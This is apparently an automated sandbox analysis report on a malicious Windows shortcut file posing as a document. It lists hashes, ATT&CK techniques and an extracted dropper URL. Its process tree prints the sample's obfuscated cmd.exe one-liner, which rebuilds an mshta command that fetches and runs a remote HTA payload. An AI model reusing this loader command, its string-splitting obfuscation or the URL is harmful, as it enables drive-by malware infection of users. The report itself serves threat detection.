8c20f5e62385ec79ca2b8b28579dae61efe9f5ff9ac20228f6583e3cd5bb1952

Analysis

max time kernel
38s
max time network
36s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 17:03

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General

Target
DOC-KVPEI0.lnk
Size 2KB
Sample260803-vkpsyawvdx
SHA256 8c20f5e62385ec79ca2b8b28579dae61efe9f5ff9ac20228f6583e3cd5bb1952
MD5 1a27ef7e1b745c288b3fbb3bab478cc4
SHA1 bce8328faf8085af881daf4176039c682aa3fbab
SHA512 01f58766e88eeb273350e6ed0233212bdc37cebadbb88079105f97d12d15727439e411e5b3a44d02162c357f2ebc4719bb31b8bb8ef7a5dc2329bd7839b04920
TLSH
T1D74174502AEE49D8F2FB8E76DDBE5B10887BB8A05DB4C68E0850814D1822B05D977B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2692	cmd.exe
3320	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 3320	2692	cmd.exe	90
PID 3320 wrote to memory of 4752	3320	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-KVPEI0.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2692
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set Si=xistare&&set ioDe=kt54&&set weK=cfgyhcrucfg&&set aiZF=yhamsi&&set iRr=k4htl&&set DUEvm=vat4d&&set LjVcR=tmpawhvpmlsvrhladcjoxrtmp&&set Uvkz=dbgdvytroufuvzybfxdbg&&set xsndX=infuxozexhhunafvmvcninf&&set JTcVV=bakoxmoecnjxlddoatbak&&set iGn=infwzpnizinf&&set bpyx=cachezgzgsbadgqibgncache&&set jV=h@t@tps:@//m@a-@pd@f@f@[email protected]@a@t/h@/es@tag@i@o@1@.@p@h@p?r@=3@91469@FB5D82@DB&&start /b !aiZF:~3,2!!iRr:~2,2!!DUEvm:~1,1! !jV:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3320
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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